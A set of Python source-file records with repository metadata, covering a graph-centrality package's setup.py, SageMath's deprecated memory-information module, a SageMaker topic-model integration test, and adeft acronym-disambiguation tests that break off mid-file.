f7325f7757fea1fb00807643e7b1200d995cc928

2,142

py

Python

setup.py

harrymvr/absorbing-centrality

d143e5bfe042dc863da28851448f2b811ed45c68

[ "0BSD" ]

19

2015-09-03T12:38:40.000Z

2021-01-06T09:38:27.000Z

setup.py

harrymvr/absorbing-centrality

d143e5bfe042dc863da28851448f2b811ed45c68

[ "0BSD" ]

2

2015-09-01T15:08:14.000Z

2015-11-16T13:38:36.000Z

setup.py

harrymvr/absorbing-centrality

d143e5bfe042dc863da28851448f2b811ed45c68

[ "0BSD" ]

5

2015-10-09T22:03:59.000Z

2018-05-25T08:32:32.000Z

#!/usr/bin/env python # -*- encoding: utf-8 -*- from __future__ import absolute_import, print_function import io import os import re from glob import glob from os.path import basename from os.path import dirname from os.path import join from os.path import relpath from os.path import splitext from setuptools import find_packages from setuptools import setup def read(*names, **kwargs): return io.open( join(dirname(__file__), *names), encoding=kwargs.get('encoding', 'utf8') ).read() tests_require=['nose'] setup( name='absorbing_centrality', version='0.1.0', license='ISC', description='An implementation of the absorbing random-walk centrality measure for graphs.', long_description='%s\n%s' % (read('README.rst'), re.sub(':[a-z]+:`~?(.*?)`', r'``\1``', read('CHANGELOG.rst'))), author='Charalampos Mavroforakis', author_email='cmav@bu.edu', url='https://github.com/harrymvr/absorbing-centrality', packages=['absorbing_centrality'], # package_dir={'': 'absorbing_centrality'}, # py_modules=[splitext(basename(path))[0] for path in glob('absorbing_centrality/*.py')], include_package_data=True, zip_safe=False, test_suite='nose.collector', classifiers=[ # complete classifier list: http://pypi.python.org/pypi?%3Aaction=list_classifiers 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'Operating System :: Unix', 'Operating System :: POSIX', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'License :: OSI Approved :: ISC License (ISCL)', 'Topic :: Scientific/Engineering :: Information Analysis', 'Natural Language :: English' ], keywords=['graph mining', 'node centrality', 'random walks', 'algorithms', 'data mining' ], install_requires=[ 'networkx>=1.9.1', 'numpy==1.9.2', 'scipy==0.16' ], extras_require={ 'tests': tests_require, }, )

31.970149

116

0.641457

from __future__ import absolute_import, print_function import io import os import re from glob import glob from os.path import basename from os.path import dirname from os.path import join from os.path import relpath from os.path import splitext from setuptools import find_packages from setuptools import setup def read(*names, **kwargs): return io.open( join(dirname(__file__), *names), encoding=kwargs.get('encoding', 'utf8') ).read() tests_require=['nose'] setup( name='absorbing_centrality', version='0.1.0', license='ISC', description='An implementation of the absorbing random-walk centrality measure for graphs.', long_description='%s\n%s' % (read('README.rst'), re.sub(':[a-z]+:`~?(.*?)`', r'``\1``', read('CHANGELOG.rst'))), author='Charalampos Mavroforakis', author_email='cmav@bu.edu', url='https://github.com/harrymvr/absorbing-centrality', packages=['absorbing_centrality'], include_package_data=True, zip_safe=False, test_suite='nose.collector', classifiers=[ 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'Operating System :: Unix', 'Operating System :: POSIX', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'License :: OSI Approved :: ISC License (ISCL)', 'Topic :: Scientific/Engineering :: Information Analysis', 'Natural Language :: English' ], keywords=['graph mining', 'node centrality', 'random walks', 'algorithms', 'data mining' ], install_requires=[ 'networkx>=1.9.1', 'numpy==1.9.2', 'scipy==0.16' ], extras_require={ 'tests': tests_require, }, )

true

f7325fa0e342ce06f43789c08ccef69fbef643ab

14,935

py

Python

src/sage/misc/memory_info.py

bopopescu/sage

2d495be78e0bdc7a0a635454290b27bb4f5f70f0

[ "BSL-1.0" ]

3

2019-07-15T13:48:24.000Z

2019-11-08T12:31:43.000Z

src/sage/misc/memory_info.py

bopopescu/sage

2d495be78e0bdc7a0a635454290b27bb4f5f70f0

[ "BSL-1.0" ]

2

2018-10-30T13:40:20.000Z

2020-07-23T12:13:30.000Z

src/sage/misc/memory_info.py

bopopescu/sage

2d495be78e0bdc7a0a635454290b27bb4f5f70f0

[ "BSL-1.0" ]

7

2021-11-08T10:01:59.000Z

2022-03-03T11:25:52.000Z

""" Information about available RAM/swap There is no portable way to figure these out, nor should you generally have to. But GAP currently needs to allocate a cache of fixed size upon startup, and we would like a certain fraction of the swap address space. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo, MemoryInfo_proc doctest:... DeprecationWarning: the module sage.misc.memory_info is deprecated, use the psutil package instead. See http://trac.sagemath.org/21805 for details. sage: mem = MemoryInfo() sage: mem.total_ram() # random output 16708194304 sage: mem.available_ram() # random output 1690738688 sage: mem.total_swap() # random output 15728635904 sage: mem.available_swap() # random output 15340593152 """ #***************************************************************************** # Copyright (C) 2012 Volker Braun <vbraun.name@gmail.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # http://www.gnu.org/licenses/ #***************************************************************************** from sage.misc.superseded import deprecation deprecation(21805, "the module sage.misc.memory_info is deprecated, use the psutil package instead.") import subprocess from sys import maxsize from sage.structure.sage_object import SageObject memory_info_instance = None def MemoryInfo(): """ Provide information about memory OUTPUT: A class that is encapsulates memory information. If no method for the particular host OS is provided, reasonable guesses are given. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo, MemoryInfo_proc sage: mem = MemoryInfo() sage: mem.total_ram() # random output 16708194304 sage: mem.available_ram() # random output 1690738688 sage: mem.total_swap() # random output 15728635904 sage: mem.available_swap() # random output 15340593152 """ global memory_info_instance if memory_info_instance is not None: return memory_info_instance import platform system = platform.system() if memory_info_instance is None and \ system != 'Darwin': try: memory_info_instance = MemoryInfo_proc() except OSError: pass if memory_info_instance is None and \ system == 'Darwin': try: memory_info_instance = MemoryInfo_OSX() except OSError: pass if memory_info_instance is None: memory_info_instance = MemoryInfo_guess() return memory_info_instance class MemoryInfo_base(SageObject): """ Base class for memory info objects. """ def rlimit_address_space(self): """ Return ``RLIMIT_AS``. OUTPUT: Integer. The limit in bytes or `-1` if no limit is set or cannot be found out. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: mem = MemoryInfo() sage: mem.rlimit_address_space() in ZZ True """ import resource try: limit = resource.getrlimit(resource.RLIMIT_AS)[0] except resource.error: return -1 if limit == resource.RLIM_INFINITY: return -1 return limit def virtual_memory_limit(self): """ Return the upper limit for virtual memory usage This is the value set by ``ulimit -v`` at the command line (bounded by ``sys.maxsize``) or a practical limit if no limit is set. OUTPUT: Integer. The virtual memory limit in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: mem = MemoryInfo() sage: mem.virtual_memory_limit() > 0 True sage: mem.virtual_memory_limit() <= sys.maxsize True """ limit = self.rlimit_address_space() if limit < 0: limit = self.total_swap() + self.total_ram() # Use less than half of the addressable memory return min(maxsize, limit) class MemoryInfo_proc(MemoryInfo_base): """ Provide information from ``/proc/`` pseudo-filesystem on most UNIXes EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: mem = MemoryInfo() sage: mem.total_ram() # random output 16708194304 """ def __init__(self): try: self._parse_proc_meminfo() except (IOError, ValueError): raise OSError('/proc/meminfo is not available') def _parse_proc_meminfo(self): """ Parse ``/proc/meminfo`` OUTPUT: A dictionary. All sizes are in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo, MemoryInfo_proc sage: mem = MemoryInfo() sage: if isinstance(mem, MemoryInfo_proc): ....: info = mem._parse_proc_meminfo() ....: else: ....: info = None sage: info # random output {'available_ram': 1749782528, 'total_swap': 15728635904, 'free_swap': 15340572672, 'total_ram': 16708194304} sage: keys = set(['available_ram', 'total_swap', 'free_swap', 'total_ram']) sage: (info is None) or keys.issubset(info.keys()) True """ kb = 1024 result = dict() meminfo = open('/proc/meminfo', 'r') for line in meminfo.readlines(): line = line.split() if line[0].startswith('MemTotal') and line[2] == 'kB': result['total_ram'] = int(line[1]) * kb if line[0].startswith('MemFree') and line[2] == 'kB': result['available_ram'] = int(line[1]) * kb if line[0].startswith('SwapTotal') and line[2] == 'kB': result['total_swap'] = int(line[1]) * kb if line[0].startswith('SwapFree') and line[2] == 'kB': result['free_swap'] = int(line[1]) * kb if line[0].startswith('Committed_AS') and line[2] == 'kB': result['Committed_AS'] = int(line[1]) * kb meminfo.close() required = set(['available_ram', 'total_swap', 'free_swap', 'total_ram']) if not required.issubset(result.keys()): raise OSError('failed to parse /proc/meminfo correctly') return result def total_ram(self): """ Return the total RAM size OUTPUT: Integer. The RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_ram() > 0 True """ return self._parse_proc_meminfo()['total_ram'] def available_ram(self): """ Return the available (free) RAM size OUTPUT: Integer. The free RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_ram() > 0 True """ return self._parse_proc_meminfo()['available_ram'] def total_swap(self): """ Return the total swap size OUTPUT: Integer. The swap size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_swap() >= 0 True """ return self._parse_proc_meminfo()['total_swap'] def available_swap(self): """ Return the available (free) swap size OUTPUT: Integer. The free swap size in bytes, excluding reserved swap space. Can be negative if the system is overcommitting memory. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_swap() in ZZ True """ info = self._parse_proc_meminfo() try: return info['total_swap'] - info['Committed_AS'] except KeyError: return info['free_swap'] class MemoryInfo_OSX(MemoryInfo_base): """ Memory info on OSX TESTS:: sage: from sage.misc.memory_info import MemoryInfo_OSX """ def __init__(self): self._maxage = 10 # cache result for 10 seconds self._age = -self._maxage try: self._parse_top() except (IOError, ValueError, subprocess.CalledProcessError, KeyError): raise OSError('failed to parse OSX "top" output') def _parse_top_output(self, meminfo): """ Pick total and available memory out of the "top" output INPUT: - ``meminfo`` -- output of "top" OUTPUT: See :meth:`_parse_top`. TESTS:: sage: from sage.misc.memory_info import MemoryInfo_OSX sage: m = MemoryInfo_OSX.__new__(MemoryInfo_OSX) sage: osx_ppc = 'PhysMem: 64.7M wired, 87.3M active, 14.1M inactive, 29.3M used, 21.8M free' sage: m._parse_top_output(osx_ppc) {'available_ram': 22858956, 'total_ram': 53582232} sage: osx_x86 = 'PhysMem: 8861M wired, 3574M active, 678M inactive, 13G used, 19G free.' sage: m._parse_top_output(osx_x86) {'available_ram': 20401094656L, 'total_ram': 34359738368L} # 32-bit {'available_ram': 20401094656, 'total_ram': 34359738368} # 64-bit """ units = { 'K': 1024, 'M':1024**2, 'G':1024**3 } for line in meminfo.splitlines(): if not line.startswith('PhysMem:'): continue line = line.split() if not line[-1].startswith('free') or not line[-3].startswith('used'): raise OSError('failed to parse PhysMem: line in "top" output') used_ram = line[-4] free_ram = line[-2] used_ram = int( float(used_ram[:-1]) * units[used_ram[-1]]) free_ram = int( float(free_ram[:-1]) * units[free_ram[-1]]) return { 'total_ram': used_ram + free_ram, 'available_ram': free_ram } raise OSError('failed to parse "top" output, no PhysMem: section') def _parse_top(self): """ Parse ``top`` output OUTPUT: A dictionary. All sizes are in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo, MemoryInfo_OSX sage: mem = MemoryInfo() sage: if isinstance(mem, MemoryInfo_OSX): ....: info = mem._parse_top() ....: else: ....: info = None sage: info # random output {'available_ram': 1749782528, 'total_ram': 16708194304} sage: keys = set(['available_ram', 'total_ram']) sage: (info is None) or (set(info.keys()) == keys) True """ import time if (time.time()-self._age) < self._maxage: return self._parse_top_cache meminfo = subprocess.check_output(['top', '-l', '1'], stderr=subprocess.STDOUT) result = self._parse_top_output(meminfo) self._age = time.time() self._parse_top_cache = result return result def total_ram(self): """ Return the total RAM size OUTPUT: Integer. The RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_ram() > 0 True """ return self._parse_top()['total_ram'] def available_ram(self): """ Return the available (free) RAM size OUTPUT: Integer. The free RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_ram() > 0 True """ return self._parse_top()['available_ram'] def total_swap(self): """ Return the total swap size The OSX swap file is growing dynamically, so we just return twice the total ram. OUTPUT: Integer. The swap size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_swap() >= 0 True """ return 2*self.total_ram() def available_swap(self): """ Return the available (free) swap size The OSX swap file is growing dynamically, so we just return twice the available ram. OUTPUT: Integer. The free swap size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_swap() in ZZ True """ return 2*self.available_ram() class MemoryInfo_guess(MemoryInfo_base): """ Guess memory as a fallback. TESTS:: sage: from sage.misc.memory_info import MemoryInfo_guess sage: mem = MemoryInfo_guess() sage: mem.total_ram() 4294967296 # 64-bit 4294967296L # 32-bit """ def total_ram(self): """ Return the total RAM size OUTPUT: Integer. The RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_ram() > 0 True """ GB = 1024 * 1024 * 1024 return 4*GB def available_ram(self): """ Return the available (free) RAM size OUTPUT: Integer. The free RAM size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_ram() > 0 True """ return self.total_ram() def total_swap(self): """ Return the total swap size OUTPUT: Integer. The swap size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().total_swap() >= 0 True """ GB = 1024 * 1024 * 1024 return 4*GB def available_swap(self): """ Return the available (free) swap size OUTPUT: Integer. The free swap size in bytes. EXAMPLES:: sage: from sage.misc.memory_info import MemoryInfo sage: MemoryInfo().available_swap() in ZZ True """ return self.total_swap()

28.666027

108

0.566856

from sage.misc.superseded import deprecation deprecation(21805, "the module sage.misc.memory_info is deprecated, use the psutil package instead.") import subprocess from sys import maxsize from sage.structure.sage_object import SageObject memory_info_instance = None def MemoryInfo(): global memory_info_instance if memory_info_instance is not None: return memory_info_instance import platform system = platform.system() if memory_info_instance is None and \ system != 'Darwin': try: memory_info_instance = MemoryInfo_proc() except OSError: pass if memory_info_instance is None and \ system == 'Darwin': try: memory_info_instance = MemoryInfo_OSX() except OSError: pass if memory_info_instance is None: memory_info_instance = MemoryInfo_guess() return memory_info_instance class MemoryInfo_base(SageObject): def rlimit_address_space(self): import resource try: limit = resource.getrlimit(resource.RLIMIT_AS)[0] except resource.error: return -1 if limit == resource.RLIM_INFINITY: return -1 return limit def virtual_memory_limit(self): limit = self.rlimit_address_space() if limit < 0: limit = self.total_swap() + self.total_ram() return min(maxsize, limit) class MemoryInfo_proc(MemoryInfo_base): def __init__(self): try: self._parse_proc_meminfo() except (IOError, ValueError): raise OSError('/proc/meminfo is not available') def _parse_proc_meminfo(self): kb = 1024 result = dict() meminfo = open('/proc/meminfo', 'r') for line in meminfo.readlines(): line = line.split() if line[0].startswith('MemTotal') and line[2] == 'kB': result['total_ram'] = int(line[1]) * kb if line[0].startswith('MemFree') and line[2] == 'kB': result['available_ram'] = int(line[1]) * kb if line[0].startswith('SwapTotal') and line[2] == 'kB': result['total_swap'] = int(line[1]) * kb if line[0].startswith('SwapFree') and line[2] == 'kB': result['free_swap'] = int(line[1]) * kb if line[0].startswith('Committed_AS') and line[2] == 'kB': result['Committed_AS'] = int(line[1]) * kb meminfo.close() required = set(['available_ram', 'total_swap', 'free_swap', 'total_ram']) if not required.issubset(result.keys()): raise OSError('failed to parse /proc/meminfo correctly') return result def total_ram(self): return self._parse_proc_meminfo()['total_ram'] def available_ram(self): return self._parse_proc_meminfo()['available_ram'] def total_swap(self): return self._parse_proc_meminfo()['total_swap'] def available_swap(self): info = self._parse_proc_meminfo() try: return info['total_swap'] - info['Committed_AS'] except KeyError: return info['free_swap'] class MemoryInfo_OSX(MemoryInfo_base): def __init__(self): self._maxage = 10 self._age = -self._maxage try: self._parse_top() except (IOError, ValueError, subprocess.CalledProcessError, KeyError): raise OSError('failed to parse OSX "top" output') def _parse_top_output(self, meminfo): units = { 'K': 1024, 'M':1024**2, 'G':1024**3 } for line in meminfo.splitlines(): if not line.startswith('PhysMem:'): continue line = line.split() if not line[-1].startswith('free') or not line[-3].startswith('used'): raise OSError('failed to parse PhysMem: line in "top" output') used_ram = line[-4] free_ram = line[-2] used_ram = int( float(used_ram[:-1]) * units[used_ram[-1]]) free_ram = int( float(free_ram[:-1]) * units[free_ram[-1]]) return { 'total_ram': used_ram + free_ram, 'available_ram': free_ram } raise OSError('failed to parse "top" output, no PhysMem: section') def _parse_top(self): import time if (time.time()-self._age) < self._maxage: return self._parse_top_cache meminfo = subprocess.check_output(['top', '-l', '1'], stderr=subprocess.STDOUT) result = self._parse_top_output(meminfo) self._age = time.time() self._parse_top_cache = result return result def total_ram(self): return self._parse_top()['total_ram'] def available_ram(self): return self._parse_top()['available_ram'] def total_swap(self): return 2*self.total_ram() def available_swap(self): return 2*self.available_ram() class MemoryInfo_guess(MemoryInfo_base): def total_ram(self): GB = 1024 * 1024 * 1024 return 4*GB def available_ram(self): return self.total_ram() def total_swap(self): GB = 1024 * 1024 * 1024 return 4*GB def available_swap(self): return self.total_swap()

true

f73260433b527d8ba6321087e688077524d361a8

3,993

py

Python

tests/integ/test_ntm.py

satishpasumarthi/sagemaker-python-sdk

255a339ae985041ef47e3a80da91b9f54bca17b9

[ "Apache-2.0" ]

1

2021-12-10T16:18:29.000Z

tests/integ/test_ntm.py

satishpasumarthi/sagemaker-python-sdk

255a339ae985041ef47e3a80da91b9f54bca17b9

[ "Apache-2.0" ]

20

2021-09-17T20:50:11.000Z

2021-12-09T00:29:02.000Z

tests/integ/test_ntm.py

satishpasumarthi/sagemaker-python-sdk

255a339ae985041ef47e3a80da91b9f54bca17b9

[ "Apache-2.0" ]

null

# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. from __future__ import absolute_import import os import numpy as np import pytest from sagemaker import NTM, NTMModel, Predictor from sagemaker.amazon.common import read_records from sagemaker.serverless import ServerlessInferenceConfig from sagemaker.utils import unique_name_from_base from tests.integ import DATA_DIR, TRAINING_DEFAULT_TIMEOUT_MINUTES from tests.integ.timeout import timeout, timeout_and_delete_endpoint_by_name from tests.integ.record_set import prepare_record_set_from_local_files @pytest.mark.release @pytest.mark.skip( reason="This test has always failed, but the failure was masked by a bug. " "This test should be fixed. Details in https://github.com/aws/sagemaker-python-sdk/pull/968" ) def test_ntm(sagemaker_session, cpu_instance_type): job_name = unique_name_from_base("ntm") with timeout(minutes=TRAINING_DEFAULT_TIMEOUT_MINUTES): data_path = os.path.join(DATA_DIR, "ntm") data_filename = "nips-train_1.pbr" with open(os.path.join(data_path, data_filename), "rb") as f: all_records = read_records(f) # all records must be same feature_num = int(all_records[0].features["values"].float32_tensor.shape[0]) ntm = NTM( role="SageMakerRole", instance_count=1, instance_type=cpu_instance_type, num_topics=10, sagemaker_session=sagemaker_session, ) record_set = prepare_record_set_from_local_files( data_path, ntm.data_location, len(all_records), feature_num, sagemaker_session ) ntm.fit(records=record_set, job_name=job_name) with timeout_and_delete_endpoint_by_name(job_name, sagemaker_session): model = NTMModel(ntm.model_data, role="SageMakerRole", sagemaker_session=sagemaker_session) predictor = model.deploy(1, cpu_instance_type, endpoint_name=job_name) predict_input = np.random.rand(1, feature_num) result = predictor.predict(predict_input) assert len(result) == 1 for record in result: assert record.label["topic_weights"] is not None def test_ntm_serverless_inference(sagemaker_session, cpu_instance_type): job_name = unique_name_from_base("ntm-serverless") with timeout(minutes=TRAINING_DEFAULT_TIMEOUT_MINUTES): data_path = os.path.join(DATA_DIR, "ntm") data_filename = "nips-train_1.pbr" with open(os.path.join(data_path, data_filename), "rb") as f: all_records = read_records(f) # all records must be same feature_num = int(all_records[0].features["values"].float32_tensor.shape[0]) ntm = NTM( role="SageMakerRole", instance_count=1, instance_type=cpu_instance_type, num_topics=10, sagemaker_session=sagemaker_session, ) record_set = prepare_record_set_from_local_files( data_path, ntm.data_location, len(all_records), feature_num, sagemaker_session ) ntm.fit(records=record_set, job_name=job_name) with timeout_and_delete_endpoint_by_name(job_name, sagemaker_session): model = NTMModel(ntm.model_data, role="SageMakerRole", sagemaker_session=sagemaker_session) predictor = model.deploy( serverless_inference_config=ServerlessInferenceConfig(), endpoint_name=job_name ) assert isinstance(predictor, Predictor)

38.394231

99

0.717506

from __future__ import absolute_import import os import numpy as np import pytest from sagemaker import NTM, NTMModel, Predictor from sagemaker.amazon.common import read_records from sagemaker.serverless import ServerlessInferenceConfig from sagemaker.utils import unique_name_from_base from tests.integ import DATA_DIR, TRAINING_DEFAULT_TIMEOUT_MINUTES from tests.integ.timeout import timeout, timeout_and_delete_endpoint_by_name from tests.integ.record_set import prepare_record_set_from_local_files @pytest.mark.release @pytest.mark.skip( reason="This test has always failed, but the failure was masked by a bug. " "This test should be fixed. Details in https://github.com/aws/sagemaker-python-sdk/pull/968" ) def test_ntm(sagemaker_session, cpu_instance_type): job_name = unique_name_from_base("ntm") with timeout(minutes=TRAINING_DEFAULT_TIMEOUT_MINUTES): data_path = os.path.join(DATA_DIR, "ntm") data_filename = "nips-train_1.pbr" with open(os.path.join(data_path, data_filename), "rb") as f: all_records = read_records(f) feature_num = int(all_records[0].features["values"].float32_tensor.shape[0]) ntm = NTM( role="SageMakerRole", instance_count=1, instance_type=cpu_instance_type, num_topics=10, sagemaker_session=sagemaker_session, ) record_set = prepare_record_set_from_local_files( data_path, ntm.data_location, len(all_records), feature_num, sagemaker_session ) ntm.fit(records=record_set, job_name=job_name) with timeout_and_delete_endpoint_by_name(job_name, sagemaker_session): model = NTMModel(ntm.model_data, role="SageMakerRole", sagemaker_session=sagemaker_session) predictor = model.deploy(1, cpu_instance_type, endpoint_name=job_name) predict_input = np.random.rand(1, feature_num) result = predictor.predict(predict_input) assert len(result) == 1 for record in result: assert record.label["topic_weights"] is not None def test_ntm_serverless_inference(sagemaker_session, cpu_instance_type): job_name = unique_name_from_base("ntm-serverless") with timeout(minutes=TRAINING_DEFAULT_TIMEOUT_MINUTES): data_path = os.path.join(DATA_DIR, "ntm") data_filename = "nips-train_1.pbr" with open(os.path.join(data_path, data_filename), "rb") as f: all_records = read_records(f) feature_num = int(all_records[0].features["values"].float32_tensor.shape[0]) ntm = NTM( role="SageMakerRole", instance_count=1, instance_type=cpu_instance_type, num_topics=10, sagemaker_session=sagemaker_session, ) record_set = prepare_record_set_from_local_files( data_path, ntm.data_location, len(all_records), feature_num, sagemaker_session ) ntm.fit(records=record_set, job_name=job_name) with timeout_and_delete_endpoint_by_name(job_name, sagemaker_session): model = NTMModel(ntm.model_data, role="SageMakerRole", sagemaker_session=sagemaker_session) predictor = model.deploy( serverless_inference_config=ServerlessInferenceConfig(), endpoint_name=job_name ) assert isinstance(predictor, Predictor)

true

f7326090f8bedc0b5a1973fcdc6eeb702c6723dc

4,197

py

Python

adeft/tests/test_disambiguate.py

johnbachman/deft

3643dd33ba4cb548f7622f24a3b87fbe48e38050

[ "BSD-2-Clause" ]

null

adeft/tests/test_disambiguate.py

johnbachman/deft

3643dd33ba4cb548f7622f24a3b87fbe48e38050

[ "BSD-2-Clause" ]

null

adeft/tests/test_disambiguate.py

johnbachman/deft

3643dd33ba4cb548f7622f24a3b87fbe48e38050

[ "BSD-2-Clause" ]

null

import os import uuid import json import shutil import logging from nose.tools import raises from numpy import array_equal from adeft.modeling.classify import load_model from adeft.locations import TEST_RESOURCES_PATH from adeft.disambiguate import AdeftDisambiguator, load_disambiguator logger = logging.getLogger(__name__) # Get test model path so we can write a temporary file here TEST_MODEL_PATH = os.path.join(TEST_RESOURCES_PATH, 'test_model') # Path to scratch directory to write files to during tests SCRATCH_PATH = os.path.join(TEST_RESOURCES_PATH, 'scratch') example1 = ('The insulin receptor (IR) is a transmembrane receptor that' ' is activated by insulin, IGF-I, IGF-II and belongs to the large' ' class of tyrosine kinase receptors') example2 = ('The insulin receptor (IR) is a transmembrane receptor that' ' is activated by insulin, IGF-I, IGF-II and belongs to the large' ' class of tyrosine kinase receptors. Insulin resistance (IR)' ' is considered as a pathological condition in which cells fail' ' to respond normally to the hormone insulin') example3 = ('IR is a transmembrane receptor that is activated by insulin,' ' IGF-1, IFG-II and belongs to the large class of tyrosine' ' kinase receptors') def test_load_disambiguator(): ad = load_disambiguator('IR', path=TEST_MODEL_PATH) assert ad.shortforms == ['IR'] assert hasattr(ad, 'classifier') assert hasattr(ad, 'recognizers') def test_dump_disambiguator(): ad1 = load_disambiguator('IR', path=TEST_MODEL_PATH) tempname = uuid.uuid4().hex ad1.dump(tempname, path=SCRATCH_PATH) ad2 = load_disambiguator('IR', path=SCRATCH_PATH) assert ad1.grounding_dict == ad2.grounding_dict assert ad1.names == ad2.names assert ad1.pos_labels == ad2.pos_labels assert (array_equal(ad1.classifier.estimator.named_steps['logit'].coef_, ad2.classifier.estimator.named_steps['logit'].coef_)) assert ad1.info() == ad2.info(), (ad1.info(), ad2.info()) try: shutil.rmtree(os.path.join(SCRATCH_PATH, tempname)) except Exception: logger.warning('Could not clean up temporary folder %s' % os.path.join(SCRATCH_PATH, tempname)) def test_disambiguate(): test_model = load_model(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_model.gz')) with open(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_grounding_dict.json')) as f: grounding_dict = json.load(f) with open(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_names.json')) as f: names = json.load(f) ad = AdeftDisambiguator(test_model, grounding_dict, names) # case where there is a unique defining pattern disamb1 = ad.disambiguate(example1) assert disamb1[0] == 'HGNC:6091' assert disamb1[1] == 'INSR' assert disamb1[2]['HGNC:6091'] == 1.0 assert disamb1[2]['MESH:D011839'] == 0.0 # case where there are conflicting defining patterns disamb2 = ad.disambiguate(example2) preds = disamb2[2] nonzero = {key for key, value in preds.items() if value > 0.0} assert nonzero == {'HGNC:6091', 'MESH:D007333'} # case without a defining pattern disamb3 = ad.disambiguate(example3) assert disamb3[0] == 'HGNC:6091' assert disamb3[1] == 'INSR' def test_modify_groundings(): """Test updating groundings of existing model.""" ad = load_disambiguator('IR', path=TEST_MODEL_PATH) ad.modify_groundings(new_groundings={'HGNC:6091': 'UP:P06213'}, new_names={'HGNC:6091': 'Insulin Receptor'}) assert 'UP:P06213' in ad.pos_labels assert 'UP:P06213' in ad.classifier.pos_labels assert 'UP:P06213' in ad.classifier.estimator.classes_ assert 'UP:P06213' in ad.names assert 'UP:P06213' in ad.grounding_dict['IR'].values() assert ad.names['UP:P06213'] == 'Insulin Receptor' @raises(ValueError) def test_modify_groundings_error(): ad = load_disambiguator('IR', path=TEST_MODEL_PATH) ad.modify_groundings(new_groundings={'MESH:D011839': 'HGNC:6091'})

38.154545

78

0.679295

import os import uuid import json import shutil import logging from nose.tools import raises from numpy import array_equal from adeft.modeling.classify import load_model from adeft.locations import TEST_RESOURCES_PATH from adeft.disambiguate import AdeftDisambiguator, load_disambiguator logger = logging.getLogger(__name__) TEST_MODEL_PATH = os.path.join(TEST_RESOURCES_PATH, 'test_model') SCRATCH_PATH = os.path.join(TEST_RESOURCES_PATH, 'scratch') example1 = ('The insulin receptor (IR) is a transmembrane receptor that' ' is activated by insulin, IGF-I, IGF-II and belongs to the large' ' class of tyrosine kinase receptors') example2 = ('The insulin receptor (IR) is a transmembrane receptor that' ' is activated by insulin, IGF-I, IGF-II and belongs to the large' ' class of tyrosine kinase receptors. Insulin resistance (IR)' ' is considered as a pathological condition in which cells fail' ' to respond normally to the hormone insulin') example3 = ('IR is a transmembrane receptor that is activated by insulin,' ' IGF-1, IFG-II and belongs to the large class of tyrosine' ' kinase receptors') def test_load_disambiguator(): ad = load_disambiguator('IR', path=TEST_MODEL_PATH) assert ad.shortforms == ['IR'] assert hasattr(ad, 'classifier') assert hasattr(ad, 'recognizers') def test_dump_disambiguator(): ad1 = load_disambiguator('IR', path=TEST_MODEL_PATH) tempname = uuid.uuid4().hex ad1.dump(tempname, path=SCRATCH_PATH) ad2 = load_disambiguator('IR', path=SCRATCH_PATH) assert ad1.grounding_dict == ad2.grounding_dict assert ad1.names == ad2.names assert ad1.pos_labels == ad2.pos_labels assert (array_equal(ad1.classifier.estimator.named_steps['logit'].coef_, ad2.classifier.estimator.named_steps['logit'].coef_)) assert ad1.info() == ad2.info(), (ad1.info(), ad2.info()) try: shutil.rmtree(os.path.join(SCRATCH_PATH, tempname)) except Exception: logger.warning('Could not clean up temporary folder %s' % os.path.join(SCRATCH_PATH, tempname)) def test_disambiguate(): test_model = load_model(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_model.gz')) with open(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_grounding_dict.json')) as f: grounding_dict = json.load(f) with open(os.path.join(TEST_MODEL_PATH, 'IR', 'IR_names.json')) as f: names = json.load(f) ad = AdeftDisambiguator(test_model, grounding_dict, names) disamb1 = ad.disambiguate(example1) assert disamb1[0] == 'HGNC:6091' assert disamb1[1] == 'INSR' assert disamb1[2]['HGNC:6091'] == 1.0 assert disamb1[2]['MESH:D011839'] == 0.0 disamb2 = ad.disambiguate(example2) preds = disamb2[2] nonzero = {key for key, value in preds.items() if value > 0.0} assert nonzero == {'HGNC:6091', 'MESH:D007333'} disamb3 = ad.disambiguate(example3) assert disamb3[0] == 'HGNC:6091' assert 